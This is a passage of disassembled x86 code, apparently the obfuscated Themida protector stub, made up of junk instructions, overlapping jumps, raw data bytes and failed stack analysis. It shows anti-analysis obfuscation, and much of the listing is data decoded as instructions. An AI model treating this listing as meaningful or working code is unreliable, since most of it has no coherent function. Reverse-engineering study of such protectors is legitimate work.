call loc_5FFCA1
jle short near ptr dword_5FFC40
test eax, 37EEC307h
loc_5FFCA1: ; CODE XREF: Themida_:005FFC95p
call sub_5FFCB7
; ---------------------------------------------------------------------------
dw 2439h
dd 0AE591A73h, 7BE6ED6h, 0F62BFC1Eh
db 0DCh, 8Fh, 79h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5FFCB7 proc near ; CODE XREF: Themida_:loc_5FFCA1p
stc
pop edx
pop edx
xor edi, 564E528Eh
and ecx, 1AD858CCh
mov si, 8673h
add ax, 3125h
mov ebx, 5D29CC0Ch
call sub_5FFCE0
sub_5FFCB7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6Dh, 0C6h, 0C9h
; ---------------------------------------------------------------------------
jnz short loc_5FFC7C
shl byte ptr [eax], 1
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5FFCE0 proc near ; CODE XREF: sub_5FFCB7+1Dp
mov di, 0F482h
pop ebx
adc dh, 34h
jmp loc_5FFCFA
; ---------------------------------------------------------------------------
db 0Dh, 6Fh, 7Ch
dd 92068ADBh, 2DB2D020h
db 0BDh, 16h
; ---------------------------------------------------------------------------
loc_5FFCFA: ; CODE XREF: sub_5FFCE0+8j
mov esi, 4910396Ah
pusha
mov bx, cx
jmp loc_5FFD13
; ---------------------------------------------------------------------------
dd 4DBD3A63h, 5B2256FBh
db 0F3h, 0F1h, 8
; ---------------------------------------------------------------------------
loc_5FFD13: ; CODE XREF: sub_5FFCE0+23j
popa
mov ch, 14h
or dh, 8Dh
clc
jmp loc_5FFD2A
; ---------------------------------------------------------------------------
db 0AAh
dd 7A9895E7h, 0EEAF677Bh
db 6Bh, 0F1h
; ---------------------------------------------------------------------------
loc_5FFD2A: ; CODE XREF: sub_5FFCE0+3Aj
add edx, 356333Fh
adc edi, 4A5BDB8h
jmp loc_5FFD4D
; ---------------------------------------------------------------------------
db 0E4h
dd 0A8B22DB9h, 0F0F4D807h, 3F8968B5h, 80E0E82Dh
db 75h
; ---------------------------------------------------------------------------
loc_5FFD4D: ; CODE XREF: sub_5FFCE0+56j
movzx edx, di
jnb loc_5FFD59
movsx edx, si
loc_5FFD59: ; CODE XREF: sub_5FFCE0+70j
call sub_5FFD6D
mov al, al
hlt
sub_5FFCE0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F8h, 66h, 4Bh
dd 0F6D38DFDh, 9C1B5C34h
; ---------------------------------------------------------------------------
pop ebx
; =============== S U B R O U T I N E =======================================
sub_5FFD6D proc near ; CODE XREF: sub_5FFCE0:loc_5FFD59p
; FUNCTION CHUNK AT 005FFD89 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005FFDAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005FFDC2 SIZE 0000001B BYTES
jo loc_5FFD89
call near ptr loc_5FFD84+4
popa
call near ptr 271B81C2h
mov ebp, 4F974D01h
cmc
loc_5FFD84: ; CODE XREF: sub_5FFD6D+6p
adc eax, 5F1DB01Dh
sub_5FFD6D endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_5FFD6D
loc_5FFD89: ; CODE XREF: sub_5FFD6Dj
pop edi
mov dx, cx
add edx, 5B4E3C18h
pusha
jns loc_5FFDAF
jmp loc_5FFDAF
; END OF FUNCTION CHUNK FOR sub_5FFD6D
; ---------------------------------------------------------------------------
db 0FCh
dd 338CB136h, 0EE9953A5h, 9AD1212Dh
db 9Eh, 0AFh, 0DFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FFD6D
loc_5FFDAF: ; CODE XREF: sub_5FFD6D+27j
; sub_5FFD6D+2Dj
jmp loc_5FFDC2
; END OF FUNCTION CHUNK FOR sub_5FFD6D
; ---------------------------------------------------------------------------
dd 9CB39FACh, 74BC1273h, 8B982CF5h
db 0E7h, 0ACh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FFD6D
loc_5FFDC2: ; CODE XREF: sub_5FFD6D:loc_5FFDAFj
popa
xor ebx, 750BF66Eh
call sub_5FFDDD
fcmovb st, st
push ss
bound eax, [edx]
cld
das
mov esp, 0A6E01EE3h
dec edx
dec esp
sti
; END OF FUNCTION CHUNK FOR sub_5FFD6D
; =============== S U B R O U T I N E =======================================
sub_5FFDDD proc near ; CODE XREF: sub_5FFD6D+5Cp
mov edx, ebx
pop ecx
call loc_5FFDEE
mov ebx, 67ACB1D6h
push es
xchg eax, ebp
mov cl, 51h
sub_5FFDDD endp ; sp-analysis failed
loc_5FFDEE: ; CODE XREF: sub_5FFDDD+3p
pop esi
jbe loc_5FFDFA
sbb di, 82B2h
loc_5FFDFA: ; CODE XREF: Themida_:005FFDEFj
add esi, 57B0E84Dh
movzx edi, ax
call loc_5FFE13
; ---------------------------------------------------------------------------
dd 542166FEh, 0ACF1CF55h
db 0A7h, 0AEh, 14h
; ---------------------------------------------------------------------------
loc_5FFE13: ; CODE XREF: Themida_:005FFE03p
mov al, dl
pop ebx
stc
mov esi, 4467345Bh
js loc_5FFE33
call sub_5FFE30 ; CODE XREF: Themida_:005FFE2Aj
inc ebx
movsb
pushf
jb short near ptr loc_5FFE22+4
pop esp
popa
; ---------------------------------------------------------------------------
dw 0F9DBh
; =============== S U B R O U T I N E =======================================
sub_5FFE30 proc near ; CODE XREF: Themida_:loc_5FFE22p
push edi
pop eax
pop edx
loc_5FFE33: ; CODE XREF: Themida_:005FFE1Cj
mov ax, cx
mov bx, 0FA64h
movsx ebx, si
adc edx, 11DB28B0h
and ebx, 51CC7C28h
stc
or edi, 356049B3h
sub ax, 0E794h
pusha
push edi
mov bl, 0F9h
pop edx
mov ecx, 1FE405FAh
popa
jmp loc_5FFE6B
; ---------------------------------------------------------------------------
db 0D8h, 6Eh, 48h
db 0ECh, 37h, 0DBh
; ---------------------------------------------------------------------------
loc_5FFE6B: ; CODE XREF: sub_5FFE30+30j
push esi
pop edi
sbb edi, 31FF5931h
push edi
movzx eax, cx
pop esi
mov ecx, ebx
jns $+6
call near ptr loc_5FFE89+1
inc esp
cld
mov [ebx], edi
loc_5FFE89: ; CODE XREF: sub_5FFE30+50p
add al, 0Fh
sub_5FFE30 endp ; sp-analysis failed
mov es, word ptr ds:66000000h
add edi, 665EC003h
mov esi, 6660711Ah
mov ecx, 0F96156E1h
movzx esi, cx
xor cx, 0C522h
mov ecx, 0D321D7Ch
jmp loc_5FFEB8
; ---------------------------------------------------------------------------
db 0E4h
; ---------------------------------------------------------------------------
sub byte ptr [edi+edi*8], 9Ch
loc_5FFEB8: ; CODE XREF: Themida_:005FFEAEj
push edi
xor di, 0FD61h
pop edi
cld
jmp loc_5FFED0
; ---------------------------------------------------------------------------
db 9Bh, 0BCh, 2Fh
dd 0C4FA4AFCh, 0FF88FFB8h
; ---------------------------------------------------------------------------
loc_5FFED0: ; CODE XREF: Themida_:005FFEC0j
pusha
mov si, dx
popa
sub cl, 27h
call sub_5FFEE9
stc
inc edi
clc
inc ebx
mov eax, 698C174h
xor dl, bh
xchg eax, edx
; =============== S U B R O U T I N E =======================================
sub_5FFEE9 proc near ; CODE XREF: Themida_:005FFED8p
mov dx, cx
pop eax
push eax
pop edi
pusha
movzx edx, ax
jmp loc_5FFF02
; ---------------------------------------------------------------------------
mov eax, ds:0A84CD19Bh
adc [eax], ecx
db 3Eh
sub al, al
loc_5FFF02: ; CODE XREF: sub_5FFEE9+Aj
popa
mov ecx, eax
jmp loc_5FFF14
; ---------------------------------------------------------------------------
dw 0B479h
dd 82E01A88h, 0A5B0F550h
; ---------------------------------------------------------------------------
loc_5FFF14: ; CODE XREF: sub_5FFEE9+1Cj
clc
call near ptr loc_5FFF29+1
scasb
pusha
pop es
inc eax
jmp short loc_5FFF21
; ---------------------------------------------------------------------------
db 73h
; ---------------------------------------------------------------------------
loc_5FFF21: ; CODE XREF: sub_5FFEE9+35j
popa
rcl byte ptr [edi+76CA2AE8h], 0CFh
loc_5FFF29: ; CODE XREF: sub_5FFEE9+2Cp
or [eax+71FFBC3Bh], bh
sub_5FFEE9 endp ; sp-analysis failed
pop edi
pusha
movzx eax, dx
mov edx, ebx
popa
cmc
call near ptr sub_5FFF48
mov al, ds:0BD2C8806h
fbstp tbyte ptr [ebx-2E8617A4h]
; =============== S U B R O U T I N E =======================================
sub_5FFF48 proc far ; CODE XREF: Themida_:005FFF38p
cld
pop edi
jnb loc_5FFF5C
jnz loc_5FFF5C
jge $+6
loc_5FFF5C: ; CODE XREF: sub_5FFF48+2j
; sub_5FFF48+8j
call sub_5FFF6D
retf
sub_5FFF48 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0B00Dh
dd 7A9A75ADh, 51B940C5h
db 10h
; =============== S U B R O U T I N E =======================================
sub_5FFF6D proc near ; CODE XREF: sub_5FFF48:loc_5FFF5Cp
sub edx, 18068073h
pop edi
cmc
jnp $+6
and ebx, 749DC18Ch
jmp loc_5FFF8F
; ---------------------------------------------------------------------------
dw 0C4A1h
; ---------------------------------------------------------------------------
pop ecx
mov al, ds:50ED45A3h
xchg eax, esi
loc_5FFF8F: ; CODE XREF: sub_5FFF6D+14j
add ebx, 79A8F376h
push ecx
pop ebx
push edi
movzx edx, cx
pop edi
mov esi, edx
mov di, 777Dh
add bx, 0ECD7h
pusha
pusha
add di, 1F23h
movsx eax, si
popa
xor ax, 6AECh
popa
mov di, 5E32h
movsx esi, di
jb loc_5FFFC9
mov di, 341h
loc_5FFFC9: ; CODE XREF: sub_5FFF6D+52j
mov dx, 5C40h
jns loc_5FFFE7
jmp loc_5FFFE7
; ---------------------------------------------------------------------------
dd 72FB698Bh, 3DA1BF8Fh, 0A55E49D0h
db 90h
db 0E6h, 41h
; ---------------------------------------------------------------------------
loc_5FFFE7: ; CODE XREF: sub_5FFF6D+60j
; sub_5FFF6D+66j
jmp loc_5FFFF6
; ---------------------------------------------------------------------------
dd 4997A71Bh, 0C301DBh
db 0EFh, 86h
; ---------------------------------------------------------------------------
loc_5FFFF6: ; CODE XREF: sub_5FFF6D:loc_5FFFE7j
sub edx, 64FD62A7h
mov si, dx
jnp loc_60000C
pusha
mov bx, di
pusha
popa
popa
loc_60000C: ; CODE XREF: sub_5FFF6D+92j
sbb eax, 2A0BE5CFh
movsx esi, cx
jmp loc_600025
; ---------------------------------------------------------------------------
cwde
movsd
sub al, [ebp+4Eh]
daa
and ecx, esp
or al, 0B2h
xchg eax, ecx
loc_600025: ; CODE XREF: sub_5FFF6D+A8j
mov edi, 62214E40h
jno loc_600035
mov ecx, 17114A85h
loc_600035: ; CODE XREF: sub_5FFF6D+BDj
jmp loc_600041
; ---------------------------------------------------------------------------
dw 889Dh
dd 870515EDh
; ---------------------------------------------------------------------------
pop ebp
loc_600041: ; CODE XREF: sub_5FFF6D:loc_600035j
pusha
jmp loc_60004C
; ---------------------------------------------------------------------------
db 11h
dd 0B1979F30h
; ---------------------------------------------------------------------------
loc_60004C: ; CODE XREF: sub_5FFF6D+D5j
mov di, 0A6ACh
popa
call near ptr loc_600061+5
push dword ptr [ebp-4B962523h]
mov eax, 86AC9ACFh
loc_600061: ; CODE XREF: sub_5FFF6D+E4p
add bh, [eax-16B5B963h]
sub_5FFF6D endp ; sp-analysis failed
push es
; ---------------------------------------------------------------------------
dd 8F000000h, 9B656A04h, 0BF0F5A15h, 8AC78BC3h, 0DDB753D9h
dd 6DB9665Eh, 7E936h, 0C8880000h, 1E515F89h, 0C7816606h
dd 850F7382h, 0
; ---------------------------------------------------------------------------
cld
push ecx
mov esi, ecx
pop eax
jmp loc_6000B0
; ---------------------------------------------------------------------------
dw 0C305h
dd 8BA18564h, 78C61ABEh, 0C92D4686h
; ---------------------------------------------------------------------------
loc_6000B0: ; CODE XREF: Themida_:0060009Dj
mov cx, dx
movsx edi, bx
call sub_6000C3
aaa
fadd dword ptr [esp+esi*8+0Ch]
fisub dword ptr [edx]
aaa
; =============== S U B R O U T I N E =======================================
sub_6000C3 proc near ; CODE XREF: Themida_:006000B6p
jp loc_6000CE
xor ax, 0F0E7h
loc_6000CE: ; CODE XREF: sub_6000C3j
pop edi
mov dl, ch
jmp loc_6000E3
; ---------------------------------------------------------------------------
dw 0C9F0h
dd 0BF15DF0Fh, 17C28017h
db 0ADh, 42h, 0F4h
; ---------------------------------------------------------------------------
loc_6000E3: ; CODE XREF: sub_6000C3+Ej
jl loc_6000F4
jb loc_6000F4
and bx, 0E8B8h
loc_6000F4: ; CODE XREF: sub_6000C3:loc_6000E3j
; sub_6000C3+26j
jmp loc_60010B
; ---------------------------------------------------------------------------
db 0D7h, 14h, 18h
dd 8B1D5EB1h, 47F80B2Ah, 1877D4F1h
db 0BAh, 0D2h, 53h
; ---------------------------------------------------------------------------
loc_60010B: ; CODE XREF: sub_6000C3:loc_6000F4j
pusha
mov di, 0B4FEh
ja $+6
popa
movzx esi, di
jmp loc_600132
; ---------------------------------------------------------------------------
db 5Ah
dd 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0CFF1CE0h
db 0F7h, 0B1h
; ---------------------------------------------------------------------------
loc_600132: ; CODE XREF: sub_6000C3+57j
jmp loc_600143
; ---------------------------------------------------------------------------
db 77h
dd 0DA5C65B5h, 2CE64552h
db 63h, 58h, 31h
; ---------------------------------------------------------------------------
loc_600143: ; CODE XREF: sub_6000C3:loc_600132j
jbe loc_60014B
mov edi, ebx
loc_60014B: ; CODE XREF: sub_6000C3:loc_600143j
call sub_60015F
dec ebp
retn 5EA2h
sub_6000C3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 9ADFC48h, 992E7378h
db 0F3h, 0CFh, 2Fh
; =============== S U B R O U T I N E =======================================
sub_60015F proc near ; CODE XREF: sub_6000C3:loc_60014Bp
cld
pop edx
movsx esi, di
push ecx
mov di, 5D9Fh
pop ebx
adc dx, 20C8h
call near ptr loc_600184+4
and [edi-455E4D04h], dh
xchg eax, ecx
mov ah, 0E0h
pushf
db 2Eh
dec esp
lahf
adc eax, [edx+6Ah]
loc_600184: ; CODE XREF: sub_60015F+10p
xor ebp, [ebx+6B58EADh]
sub_60015F endp ; sp-analysis failed
pop ebx
movzx eax, di
call near ptr loc_6001A5+1
db 36h
inc ebx
sahf
push ss
and [ecx+ecx*2+6Ah], dh
or [ecx+71h], dl
dec esp
enter 0FFFF8FDDh, 0D0h
mov ebx, [edi]
loc_6001A5: ; CODE XREF: Themida_:0060018Ep
or ebp, eax
or al, 0
; ---------------------------------------------------------------------------
db 2 dup(0), 9Bh
dd 937FA6Fh, 0CB6B3842h, 668D4911h, 5E3EDFB9h, 0C2BF0F5Ah
dd 2890Fh, 0C68B0000h, 0ED9DE181h, 0B6B86A99h, 8A5ACC9Fh
dd 0F8B70FD9h, 1A8C0Fh, 12E80000h, 0B9000000h, 0BAA6D074h
dd 0B4ABCCD0h, 0AADBDC82h, 0F52C000Ah, 5F12B174h, 0A8E0Fh
dd 5E90000h, 48000000h, 9687386Eh, 8BDE8BFCh, 0C3B70FC1h
dd 0FC78B66h, 0BB66D6B7h, 0B70F6F0Fh, 0AE9DEh, 36E0000h
dd 50B99139h, 0A0FB47C2h, 1521A0BEh, 0F63CBF26h, 0E9607DBFh
dd 0Dh, 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0C88161DFh, 0ACB2BB6h
dd 0C4A1E881h, 8B0F0512h, 5, 0D053DAB8h, 0DE91Dh, 0AE720000h
dd 1F5C18F9h, 0BEE0C6D2h, 0F3F1A81h, 1786h, 12E900h, 0A9C60000h
dd 0C8D92A41h, 702BF620h, 30F956B0h, 3DAF0CB7h, 0BE66DA8Bh
dd 880F0C2Bh, 1Eh, 880F60h, 0E9000000h, 11h, 0A0B94136h
dd 0CA0391C3h, 0F0EDE555h, 0D0DFA4D4h, 0E95361BBh, 0Ah
dd 0C1E96FA0h, 317B9C3Bh, 8A5FA76Eh, 77FAB9D1h, 0C68105CBh
dd 6D5A373Fh, 0AE9h, 0AA065200h, 39266FF7h, 56168C9Eh
dd 8E9h, 5CB2B900h, 0B80E75B9h, 0F575F99h, 6658D3BFh, 0C78ADE8Bh
dd 0E9C18B60h, 8, 55F67260h, 1B98DCB9h, 0AE861h, 0ED150000h
dd 7EE2A520h, 0DC104434h, 0EE9h, 0A2F54A00h, 3FD91B47h
dd 15EAC77Dh, 5F66021Ch, 0FE8F5h, 67710000h, 45D2EC75h
dd 8A6FE66h, 0DA5603BDh, 1B74BEB4h, 0F85E23C9h, 0C2D68160h
dd 8B1943B6h, 12E961FAh, 94000000h, 2489AFB8h, 88DE0443h
dd 0F5838B14h, 1234FCE1h, 0BE907h, 497A0000h, 3241E120h
dd 0C0A1B886h, 18E0FD7h, 0FC000000h, 0E9C28BF5h, 10h, 44AAB53Ah
dd 50FC9DBEh, 5EC271AFh, 0EC553BE8h, 0CE97BB3h, 0D5000000h
dd 0A560DCE1h, 0B288822h, 0E99B7106h, 8, 57A2A5E0h, 0B031C5B5h
dd 0D8D88166h, 5ED680DAh, 8BC781F8h, 0F6165C6h, 0A8Fh
dd 4820F00h, 66000000h, 660272BAh, 8AF6ADB9h, 660BB0E5h
dd 0D681D08Bh, 133BF9F4h, 0BE950h, 4D9F0000h, 46CD5FD5h
dd 6E75197Ah, 0CE85EA3h, 0F1000000h, 0ECF46404h, 0E8058C43h
dd 0E9EC4E88h, 6, 9B6A7Ah, 605F8357h, 39DA8053h, 6056615Bh
dd 61608FB7h, 81665E61h, 666BF2EEh, 0B3C971BFh, 0D68B66B7h
dd 0D3C9E881h, 0FF81723h, 0FE8BC9BFh, 0BE952h, 23B20000h
dd 0CFC68B29h, 944CFD58h, 0BF0F5F89h, 188B0FF8h, 0E9000000h
dd 13h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h, 0F740D47h
dd 8B66FFB7h, 0F28B66F8h, 3DD290BFh, 7CD8805Dh, 2860Fh
dd 0E4B50000h, 0FCD08166h, 0E8F38B1Dh, 5, 0A4EAD44Eh, 5539BF65h
dd 0E95846D2h, 6, 2B4359F9h, 0E960210Fh, 0Ah, 499BB94Ah
dd 30ED25A7h, 840F769Bh, 0
; ---------------------------------------------------------------------------
popa
jmp loc_6004DC
; ---------------------------------------------------------------------------
rol esi, 1
and eax, 59637B06h
test [eax+ebp], eax
loc_6004DC: ; CODE XREF: Themida_:006004CDj
mov bx, 919Dh
jp loc_6004EA
mov bx, 8363h
loc_6004EA: ; CODE XREF: Themida_:006004E0j
and edx, 14C90E93h
call sub_6004FD
bound ebp, [ebp-3Ah]
leave
jnz short near ptr dword_6001AC+2EDh ; CODE XREF: sub_600512+45j
shl byte ptr [eax], 1
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_6004FD proc near ; CODE XREF: Themida_:006004F0p
jmp sub_600512
sub_6004FD endp
; ---------------------------------------------------------------------------
dw 25DEh
dd 0DA52C1EEh, 19E9D7E8h, 4659C27Ah
db 4Eh, 62h
; =============== S U B R O U T I N E =======================================
sub_600512 proc near ; CODE XREF: sub_6004FDj
; FUNCTION CHUNK AT 0060055D SIZE 00000047 BYTES
; FUNCTION CHUNK AT 006005EB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00600601 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00600653 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00600656 SIZE 00000046 BYTES
pop edx
jmp loc_60052B
; ---------------------------------------------------------------------------
dd 0D1D1E6E0h, 73A998AAh, 2952F609h, 0D4087744h
db 0BCh, 56h, 0ADh
; ---------------------------------------------------------------------------
loc_60052B: ; CODE XREF: sub_600512+1j
sbb dh, 0B9h
push edi
mov cx, 9174h
pop edi
mov di, 8539h
mov bx, 3462h
sub cx, 53E8h
mov di, 21EDh
cmc
add bx, 0A05Ch
push eax
jnp loc_60055D
call near ptr loc_60055A+2
loope near ptr loc_6004F9+1
dec edi
loc_60055A: ; CODE XREF: sub_600512+40p
fist word ptr [ebp+59h]
sub_600512 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_600512
loc_60055D: ; CODE XREF: sub_600512+3Aj
pop ebx
movsx ecx, di
push edx
pusha
mov cx, 0AC2Dh
clc
popa
pop edi
cmc
mov di, 0E787h
mov edx, 8D48739h
jz loc_60057C
mov dh, ch
loc_60057C: ; CODE XREF: sub_600512+62j
stc
mov cx, 0FD36h
movsx edi, di
movsx ebx, dx
movzx ecx, ax
call near ptr loc_60059B+3
dec edi
outsb
adc eax, 0E4B59438h
jno short loc_600601
adc [edi-17h], ebx
loc_60059B: ; CODE XREF: sub_600512+78p
rcl dword ptr [edx+0F58F951h], 1
or byte ptr [eax], 0
; END OF FUNCTION CHUNK FOR sub_600512
; ---------------------------------------------------------------------------
dd 890F0000h, 2, 0C0B9D7B0h, 0B8330B0Fh, 39CE3E5Dh, 0CE9h
dd 73DC5A00h, 0D4CFF2D2h, 31936EA5h, 39B96696h, 0BE830h
dd 30920000h, 0FFAEE096h, 0F279FBEEh, 0DFB70FA4h, 81665059h
dd 5E54BFD6h
db 66h, 81h, 0C8h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_600512
loc_6005EB: ; CODE XREF: sub_600512+104j
out dx, al
out dx, eax
movzx ecx, bx
mov si, 1FE0h
add ebx, 5B11019Ah
jmp near ptr loc_600608+3
; END OF FUNCTION CHUNK FOR sub_600512
; ---------------------------------------------------------------------------
xor al, 3Fh
; START OF FUNCTION CHUNK FOR sub_600512
loc_600601: ; CODE XREF: sub_600512+84j
out dx, al
cmp esp, [ebx+20698E36h]
loc_600608: ; CODE XREF: sub_600512+E8j
ror dword ptr [ebx+0AE8h], 0
fadd dword ptr [edx+1F581198h] ; CODE XREF: sub_600512+155j
db 3Eh
ja short loc_6005EB
scasb
jnp loc_600622
mov edx, esi
loc_600622: ; CODE XREF: sub_600512+108j
pop ebx
stc
mov al, 0E7h
mov dl, bh
push ecx
jbe loc_600632
sbb dl, 4Bh
loc_600632: ; CODE XREF: sub_600512+117j
pop edi
mov cx, bx
movzx ebx, cx
mov dl, cl
adc ebx, 70B70674h
jmp loc_600656
; END OF FUNCTION CHUNK FOR sub_600512
; ---------------------------------------------------------------------------
dw 0E495h
; ---------------------------------------------------------------------------
push ecx
xchg eax, ebp
mov ds:0C3C64727h, al
pop edi
jmp short loc_600698
; ---------------------------------------------------------------------------
db 78h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_600512
loc_600653: ; CODE XREF: sub_600512+187j
push es
; END OF FUNCTION CHUNK FOR sub_600512
; ---------------------------------------------------------------------------
db 10h, 6Eh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_600512
loc_600656: ; CODE XREF: sub_600512+12Fj
mov cl, bh
jno loc_600672
pusha
and cl, 2Fh
call near ptr loc_60066C+4
jnp short near ptr loc_600610+2
lodsb
aas
push esi
loc_60066C: ; CODE XREF: sub_600512+150p
mov esi, 5BEC083Fh
popa
loc_600672: ; CODE XREF: sub_600512+146j
jz loc_60067D
adc ax, 0F12Fh
loc_60067D: ; CODE XREF: sub_600512:loc_600672j
push edi
mov si, bx ; CODE XREF: sub_600512+183j
pop eax
cmc
mov di, 5BEBh
pusha
push esi
call sub_60069C
and al, 13h
jno short near ptr loc_60070C+4
leave
fld qword ptr [esi]
jecxz short near ptr loc_60067E+1
inc esi
loc_600698: ; CODE XREF: Themida_:00600650j
das
db 26h
jns short loc_600653
; END OF FUNCTION CHUNK FOR sub_600512
; =============== S U B R O U T I N E =======================================
sub_60069C proc near ; CODE XREF: sub_600512+177p
arg_24 = word ptr 28h
pop eax
pop eax
movsx edi, ax
popa
mov di, 7494h
jnp loc_6006B8
jle loc_6006B8
and ecx, 0E57165Ch
loc_6006B8: ; CODE XREF: sub_60069C+Aj
; sub_60069C+10j
jo loc_6006DA
call sub_6006D7
mov ecx, 40C05436h
sub dl, dl
and ecx, [ecx-4FDC94F0h]
arpl [esp-28h+arg_24], di
lodsb
test al, 0F1h
push edi
sub_60069C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6006D7 proc near ; CODE XREF: sub_60069C+22p
mov edi, edx
pop edi
loc_6006DA: ; CODE XREF: sub_60069C:loc_6006B8j
movzx eax, dx
jo loc_6006F9
pusha
sub cx, 0B613h
jmp loc_6006F8
; ---------------------------------------------------------------------------
dw 0D88Fh
dd 2F78D56Ch, 3ABFC218h
; ---------------------------------------------------------------------------
loc_6006F8: ; CODE XREF: sub_6006D7+12j
popa
loc_6006F9: ; CODE XREF: sub_6006D7+6j
pusha
mov eax, 1863C954h
clc
popa
mov edi, 1721B05Eh
jg loc_600711
loc_60070C: ; CODE XREF: sub_600512+17Ej
mov edx, 10AE0Ch
loc_600711: ; CODE XREF: sub_6006D7+2Fj
movsx edi, ax
call sub_600727
and [ecx], dh
add eax, 0D295C1BBh
xor al, 18h
rcl dword ptr [ebx], 1
insb
xchg al, dl
sub_6006D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_600727 proc near ; CODE XREF: sub_6006D7+3Dp
jns loc_60072F
mov al, dh
loc_60072F: ; CODE XREF: sub_600727j
pop ebx
cmc
stc
mov ax, cx
mov di, 424Eh
jz loc_60074A
call sub_600749
not ebp
push ecx
xor al, 11h
sub_600727 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_600749 proc near ; CODE XREF: sub_600727+18p
pop ebx
loc_60074A: ; CODE XREF: sub_600727+12j
movzx ebx, dx
movsx ebx, si
jmp loc_600763
; ---------------------------------------------------------------------------
db 8Fh, 3Ch, 10h
dd 4FFF5504h, 0BCF0854Dh
db 52h, 0C7h, 0B9h
; ---------------------------------------------------------------------------
loc_600763: ; CODE XREF: sub_600749+7j
sbb si, 4122h
cmc
jmp loc_600777
; ---------------------------------------------------------------------------
dw 0AF7Ah
dd 687808FBh
db 0B2h, 15h, 0F4h
; ---------------------------------------------------------------------------
loc_600777: ; CODE XREF: sub_600749+20j
sbb edi, 7EFA6647h
mov ah, cl
mov esi, edx
ja loc_60078B
mov si, 944Fh
loc_60078B: ; CODE XREF: sub_600749+38j
adc edx, 69A41F83h
jmp loc_6007A5
; ---------------------------------------------------------------------------
dw 0CF13h
dd 1265CBCFh, 8D54D9AEh, 0B4AAC5C4h
db 0E3h
; ---------------------------------------------------------------------------
loc_6007A5: ; CODE XREF: sub_600749+48j
stc
mov eax, esi
call sub_6007B8
cmc
mov dh, 8Fh
xor edi, [esi]
and edx, ebp
aad 0B7h
wait
lahf
sub_600749 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6007B8 proc near ; CODE XREF: sub_600749+5Fp
jge loc_6007C1
movsx edx, ax
loc_6007C1: ; CODE XREF: sub_6007B8j
pop esi
js loc_6007D1
jge loc_6007D1
mov bx, si
loc_6007D1: ; CODE XREF: sub_6007B8+Aj
; sub_6007B8+10j
push eax
mov cl, dh
pop edx
jnz loc_6007DE
mov dx, si
loc_6007DE: ; CODE XREF: sub_6007B8+1Dj
jbe loc_6007FC
jmp loc_6007FC
; ---------------------------------------------------------------------------
db 0Fh, 1Ah, 0BDh
dd 6B3C38EDh, 0D49E51DFh, 1C0D7F7Ah, 0F8AE635Ah
; ---------------------------------------------------------------------------
loc_6007FC: ; CODE XREF: sub_6007B8:loc_6007DEj
; sub_6007B8+2Cj
add di, 2CB8h
jge loc_600809
mov cl, 9Dh
loc_600809: ; CODE XREF: sub_6007B8+49j
cld
mov ebx, eax
movzx edx, dx
mov si, 9EC9h
ja loc_600829
jmp loc_600829
; ---------------------------------------------------------------------------
call dword ptr [esi+7Eh]
inc eax
clc
mov ds:0B76AEEACh, al
inc esi
loc_600829: ; CODE XREF: sub_6007B8+5Bj
; sub_6007B8+61j
mov ah, bh
mov edx, esi
pusha
jmp loc_60083B
; ---------------------------------------------------------------------------
sbb byte ptr [esi-22h], 0E2h
or [edi+48h], eax
aas
loc_60083B: ; CODE XREF: sub_6007B8+76j
cmc
popa
adc si, 1090h
mov esi, 7EC1F132h
jle loc_600850
movsx ecx, si
loc_600850: ; CODE XREF: sub_6007B8+8Fj
mov di, dx
jp loc_60085F
sub esi, 7B7B8251h
loc_60085F: ; CODE XREF: sub_6007B8+9Bj
sbb edx, 0E63BE9Eh
pusha
mov cx, di
popa
pusha
mov bh, al
stc
popa
call sub_600879
shr dword ptr [ebx-1Ch], cl
fist word ptr [eax]
sub_6007B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_600879 proc near ; CODE XREF: sub_6007B8+B7p
arg_4CC4504B = dword ptr 4CC4504Fh
cmc
pop ecx
mov al, 69h
movsx edi, di
jnz loc_600889
mov si, di
loc_600889: ; CODE XREF: sub_600879+7j
cmc
pusha
jo loc_600897
sbb esi, 72E420AEh
loc_600897: ; CODE XREF: sub_600879+12j
movsx edx, ax
popa
sub eax, 70018754h
movzx esi, si
sbb edi, 2077F04Bh
cld
jmp loc_6008BB
; ---------------------------------------------------------------------------
dd 695CC20Fh, 0FD544916h
db 90h
db 2Eh, 38h
; ---------------------------------------------------------------------------
loc_6008BB: ; CODE XREF: sub_600879+32j
stc
sub bl, 83h
stc
push edi
jb loc_6008CD
jz $+6
loc_6008CD: ; CODE XREF: sub_600879+48j
pop edx
jmp loc_6008D9
; ---------------------------------------------------------------------------
pusha
rcr byte ptr [edi+76h], 62h
loc_6008D9: ; CODE XREF: sub_600879+55j
jmp loc_6008ED
; ---------------------------------------------------------------------------
dw 5785h
dd 0D27244AEh, 56AD435Bh, 830FBD5Ch
; ---------------------------------------------------------------------------
pop ecx
loc_6008ED: ; CODE XREF: sub_600879:loc_6008D9j
adc cx, 3F69h
mov di, 0D07Ch
sub cl, 7
adc dh, 88h
mov di, 0C6AAh
call near ptr sub_60090C
